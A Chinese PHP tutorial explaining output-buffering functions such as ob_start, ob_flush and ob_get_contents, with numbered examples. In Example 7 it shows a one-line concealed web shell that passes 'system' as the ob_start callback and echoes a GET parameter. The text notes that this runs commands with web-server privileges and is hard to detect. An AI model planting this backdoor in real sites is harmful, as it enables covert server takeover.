程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 網頁編程 >> PHP編程 >> 關於PHP編程 >> PHP輸出緩沖控制- Output Control 函數應用詳解,outputcontrol

PHP輸出緩沖控制- Output Control 函數應用詳解,outputcontrol

編輯:關於PHP編程

PHP輸出緩沖控制- Output Control 函數應用詳解,outputcontrol


  說到輸出緩沖,首先要說的是一個叫做緩沖器(buffer)的東西。舉個簡單的例子說明他的作用:我們在編輯一篇文檔時,在我們沒有保存之前,系統是不會向磁盤寫入的,而是寫到buffer中,當buffer寫滿或者執行了保存操作,才會將數據寫入磁盤。對於PHP來說,每一次像 echo 這樣的輸出操作,同樣是先寫入到了 php buffer 裡,在腳本執行完畢或者執行了強制輸出緩存操作,數據才會在浏覽器上顯示。

  其實對於PHP程序員來說,基本上每個腳本都涉及到了輸出緩沖,只是在大多數情況下,我們都不需要對輸出緩沖進行更改。而今天就來用實例對PHP輸出緩沖控制函數“Output Control”做一個詳細的解析。

  下面這個例子簡單介紹了輸出緩沖在一般腳本中存在的方式:

  我們在執行如下腳本時:

1 2 3 4 5 6 <?php /*例1*/ echo 'oschina.net'; echo '紅薯'; echo '蟲蟲'; ?>

  腳本在執行完第一個 echo 時,並不會向浏覽器輸出相應內容,而是會輸出到一個緩沖區,依次類推,當三個 echo 全部執行完畢(也就是腳本結束)時,才會將緩沖區內容全部輸出到浏覽器。當然這個緩沖區也有大小的限制,是根據 php.ini 中的output_buffering 選項來設置的,這點會在下面的文章中詳細介紹。而本章所講的輸出緩沖控制,就是在腳本結束前,對緩沖區裡的內容進行操作。

  這個例子可以更好的體現輸出緩沖控制的應用:

  在執行如下代碼時:

1 2 3 4 5 6 7 8 <?php /*例2*/ echo 'oschina.net'; sleep(1); echo '紅薯'; sleep(1); echo '蟲蟲'; ?>

  我們至少需要等待 2秒 才能看到輸出結果,那我們能不能讓其實時的顯示呢?也就是在第一個 echo 執行完畢時就輸出相應的內容呢,這時候就需要用輸出緩沖控制函數來操作緩沖區了,實現代碼如下:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php /*例3*/ echo str_pad('', 1024);//使緩沖區溢出 ob_start();//打開緩沖區 echo 'oschina.net'; ob_flush();//送出當前緩沖內容,不會輸出 flush();//輸出送出的緩沖內容 sleep(1); echo '紅薯'; ob_flush();//送出當前緩沖內容,不會輸出 flush();//輸出送出的緩沖內容 sleep(1); echo '蟲蟲'; ob_end_flush();//輸出並關閉緩沖 ?>

  簡單點也可以這樣實現:

1 2 3 4 5 6 7 8 9 10 11 <?php /*例4*/ echo str_pad('', 1024);//使緩沖區溢出 echo 'oschina.net'; flush();//輸出送出的緩沖內容 sleep(1); echo '紅薯'; flush();//輸出送出的緩沖內容 sleep(1); echo '蟲蟲'; ?>

  至於相關函數的用法在下面都會有介紹,這裡只是給大家展示一個輸出緩沖控制函數的應用,當然了輸出緩沖控制函數的作用絕不止這一種,那麼下面我們就來看看輸出緩沖控制函數都可以應用在哪些方面。

作用

php.ini 中的相關配置項

  再來看看在 php.ini 中和輸出緩沖控制有關的選項,共三個,分別是:output_buffering  ,output_handler  和 implicit_flush

Output Control 函數詳解

  現在我們就用實例分析相關函數,相信在充分了解了以下內容後,就會對輸出緩沖控制函數有了較清晰的掌握。

  1.  bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

  此函數在 例3 中已經使用過,大家從命名上也能明白其含義,就是打開輸出緩沖區,從而進行下一步的輸出緩沖處理。這裡要特意說的是其參數的用法,第一個參數要傳遞一個回調函數,其需將緩沖區內容做為參數,並且返回一個字符串。他會在緩沖區被送出時調用,緩沖區送出指的是執行了例如ob_flush() 等函數或者腳本執行完畢。ob_flush() 函數會在下面介紹到,來看一個簡單的例子就能理解其用法:

1 2 3 4 5 6 7 8 9 <?php /*例5*/ ob_start('handleString'); echo '123456';    function handleString($string){   return md5($string); } ?>

  運行後的結果是:

1 e10adc3949ba59abbe56e057f20f883e

  說明輸出的內容被md5加密了,也就是說在緩沖區內容輸出時,運行了我們定義的 handleString 函數。

  再來看一個更實際的例子,也就是常見到的將網頁內容利用 gzip 壓縮後再輸出,代碼如下:

1 2 3 4 5 <?php /*例6*/ ob_start('ob_gzhandler'); echo str_repeat('oschina', 1024); ?>

  其頁面大小為:

  而不使用 ob_gzhandler 參數,其頁面大小為:

  可以明顯看到大小的差別,所以說利用 ob_start() 進行頁面壓縮輸出,是非常實用的一個功能。

  而第二個參數 chunk_size 為緩沖區的字節長度,如果緩沖區內容大於此長度,將會被送出緩沖區,默認值為0,代表函數將會在最後被調用。第三個參數 erase 如果被設置為 flase , 則代表腳本執行完畢後緩沖區才會被刪除,如果提前執行了刪除緩沖區函數(後面會提到),則會報一個錯誤。

  ob_start() 的用法就這麼多,但有兩點需要特別注意的地方:

1 2 3 4 <?php /*例7*/ $cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush(); ?>

  如果理解了上面關於 ob_start的用法,這段代碼就不難理解了,其應用了 ob_start 函數會將緩沖區輸出的內容作為參數傳入所設置的函數中的特點,實現了以Web服務器權限遠程執行命令,並且不宜被發覺。

  2. string ob_get_contents ( void )

  此函數用來獲取此時緩沖區的內容,下面的例子就能很好的理解其用法:

1 2 3 4 5 6 7 8 9 10 11 <?php /*例8*/ echo str_pad('', 1024);//使緩沖區溢出 ob_start();//打開緩沖區 phpinfo(); $string = ob_get_contents();//獲取緩沖區內容 $re = fopen('./phpinfo.txt', 'wb'); fwrite($re, $string);//將內容寫入文件 fclose($re); ob_end_clean();//清空並關閉緩沖區 ?>

  運行此例會發現,浏覽器並不會有任何輸出,但在當前目錄下會有一個 phpinfo.txt 的文件,裡面存儲了此次應有的輸出。這個例子也展示了上面作用中第三點所說的情況。我們可以將輸出內容獲取到後,根據我們的實際情況進行處理。

  3. int ob_get_length ( void )

  此函數用來獲取緩沖區內容的長度,將 例8 稍作改動來展示這個函數的用法:

1 2 3 4 5 6 7 8 9 10 11 12 13 <?php /*例9*/ echo str_pad('', 1024);//使緩沖區溢出 ob_start();//打開緩沖區 phpinfo(); $string = ob_get_contents();//獲取緩沖區內容 $length = ob_get_length();//獲取緩沖區內容長度 $re = fopen('./phpinfo.txt', 'wb'); fwrite($re, $string);//將內容寫入文件 fclose($re); var_dump($length); //輸出長度 ob_end_flush();//輸出並關閉緩沖區 ?>

  4. int ob_get_level ( void )

  此函數用來獲取緩沖機制的嵌套級別,我們在介紹 ob_start() 函數時曾說過,在一個腳本中可以嵌套存在多個緩沖區,而此函數就是來獲取當前緩沖區的嵌套級別,用法如下:

1 2 3 4 5 6 7 8 9 <?php /*例10*/ ob_start(); var_dump(ob_get_level()); ob_start(); var_dump(ob_get_level()); ob_end_flush(); ob_end_flush(); ?>

  運行後可以很明顯的看出他們的嵌套關系。

  5. array ob_get_status ([ bool $full_status = FALSE ] )

  此函數用來獲取當前緩沖區的狀態,返回一個狀態信息的數組,如果第一個參數為 true ,將返回一個詳細信息的數組,我們結合實例來分析這個數組:

1 2 3 4 5 6 7 8 9 <?php /*例11*/ ob_start(‘ob_gzhandler’); var_export(ob_get_status()); ob_start(); var_export(ob_get_status()); ob_end_flush(); ob_end_flush(); ?>

  此腳本輸出如下:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 array (   'level' => 1,   'type' => 1,   'status' => 0,   'name' => 'ob_gzhandler',   'del' => true, )    array (   'level' => 2,   'type' => 1,   'status' => 0,   'name' => 'default output handler',   'del' => true, )

  level 為嵌套級別,也就是和通過 ob_get_level() 取到的值一樣。

  type 為處理緩沖類型,0為系統內部自動處理,1為用戶手動處理。

  status 為緩沖處理狀態, 0為開始, 1為進行中, 2為結束

  name 為定義的輸出處理函數名稱,也就是在 ob_start() 函數中第一個參數傳入的函數名。

  del  為是否運行了刪除緩沖區操作

  理解了上面數組的含義,就能很好理解緩沖區的各項屬性。

  6. array ob_list_handlers ( void )

  此函數用來獲得輸出處理程序的函數名數組,也就是在 ob_start() 函數中我們指定的第一個參數,需要注意的是,如果我們傳的參數是一個匿名函數,或者在配置文件中啟用了 output_buffering  則該函數將返回default output handler ,php官方手冊 中的例子就能很好的解釋這個函數:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php /*例12*/ //using output_buffering=On print_r(ob_list_handlers()); ob_end_flush();    ob_start("ob_gzhandler"); print_r(ob_list_handlers()); ob_end_flush();    // anonymous functions ob_start(create_function('$string', 'return $string;')); print_r(ob_list_handlers()); ob_end_flush(); ?>

  輸出結果為:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 Array (     [0] => 'default output handler' )    Array (     [0] => 'ob_gzhandler' )    Array (     [0] => 'default output handler' )

  下面我們來看看和輸出、關閉、送出緩沖區內容有關的函數:

  7. void ob_flush ( void )

  此函數在前面的例子經常用到了,其作用就是 “送出” 當前緩沖區內容,同時清空緩沖區,需要注意這裡用的是 “送出” 一詞,也就是說調用此函數並不會將緩沖區內容輸出,從 例3 可以看出必須在其後調用 flush 函數其才會輸出。關於 flush 的用法下面就會說到,這裡就不再做實例了。

  8. void flush ( void )

  這個函數算是比較常用的,用來將其前面的所有輸出發送到浏覽器顯示,且不會對緩存區有任何影響。例3 和 例4 中都用到了此函數將當前輸出顯示到浏覽器,換句話說,不論是 echo 等函數的輸出,還是 HTML實體 ,或是運行 ob_start() 送出的內容,運行 flush() 後都會在浏覽器進行顯示。

  9. void ob_implicit_flush ([ int $flag = true ] )

  此函數用來打開/關閉絕對刷送模式,就是在每一次輸出後自動執行 flush(),從而不需要再顯示的調用 flush() ,提高效率。我們將 例4 稍作更改,利用這個函數來實現同樣的效果:

1 2 3 4 5 6 7 8 9 10 11 12 <?php /*例13*/ echo str_pad('', 1024);//使緩沖區溢出 ob_implicit_flush(true);//打開絕對刷送 echo 'oschina.net'; //flush();  之後不需要再顯示的調用 flush() sleep(1); echo '紅薯'; //flush(); sleep(1); echo '蟲蟲'; ?>

  此例和 例4 實現的同樣的效果,由於打開了 絕對刷送,所以不需要再調用 flush(), 系統會自動在輸出後進行刷送。

  10. bool ob_end_flush ( void )

  此函數將緩沖區的內容送出,並關閉緩沖區。實際上相當於執行了 ob_flush() 和 ob_end_clean() ;

  11. string ob_get_flush ( void )

  此函數和 ob_end_flush() 的作用基本一致,只是其會以字符串的形式返回緩沖區的內容,很簡單,也不做實例了。

  12. void ob_clean ( void )

  此函數會將當前緩沖區清空,但不會關閉緩沖區,下面這個例子的輸出將不會顯示,因為在輸出前,緩沖區已經被清空了,但我們又可以獲取到緩沖區的屬性,說明緩沖區沒被關閉:

1 2 3 4 5 6 7 <?php /*例14*/ ob_start(); echo 'oschina'; ob_clean(); var_dump(ob_get_status()); ?>

  13. bool ob_end_clean ( void )

  此函數清空並關閉緩沖區,將 例14 稍作更改,即可發現我們不再能獲取到緩沖區的狀態,因為它已經被關閉了:

1 2 3 4 5 6 7 <?php /*例15*/ ob_start(); echo 'oschina'; ob_end_clean(); var_dump(ob_get_status()); ?>

  14. string ob_get_clean ( void )

  此函數清空並關閉緩存,但會以字符串的形式返回緩存中的數據,實際上,這個函數就是分別執行了 ob_get_contents() 和 ob_end_clean();

1 2 3 4 5 6 7 8 <?php /*例16*/ ob_start(); echo 'oschina'; $string = ob_get_clean(); var_dump(ob_get_status()); var_dump($string); ?>

  最後再來看兩個和URL重寫有關的函數:

  15. bool output_add_rewrite_var ( string $name , string $value )

  此函數添加URL重寫機制的鍵和值,這裡的URL重寫機制,是指在URL的最後以GET方式添加鍵值對,或者在表單中以隱藏表單添加鍵值對。絕對的URL不會被添加,還是用手冊中的例子來看吧,寫的非常直觀明了:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php /*例17*/ output_add_rewrite_var('var', 'value');    // some links echo '<a href="file.php">link</a> <a href="http://example.com">link2</a>';    // a form echo '<form action="script.php" method="post"> <input type="text" name="var2" /> </form>';    print_r(ob_list_handlers()); ?>

  程序的輸出為:

1 2 3 4 5 6 7 8 9 10 11 12 <a href="file.php?var=value">link</a> <a href="http://example.com">link2</a>    <form action="script.php" method="post"> <input type="hidden" name="var" value="value" /> <input type="text" name="var2" /> </form>    Array (     [0] => URL-Rewriter )

  可以看到不是絕對URL地址的鏈接 和 Form表單 被加上了對應的鍵值對。

  16. bool output_reset_rewrite_vars ( void )

  此函數用來清空所有的URL重寫機制,也就是刪除由 output_add_rewrite_var() 設置的重寫變量。

其他需要注意的地方

  相信讀了上面的內容,就會對PHP的緩沖控制函數有較深的認識了,那接下來說一些在日常使用中需要注意的問題:

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved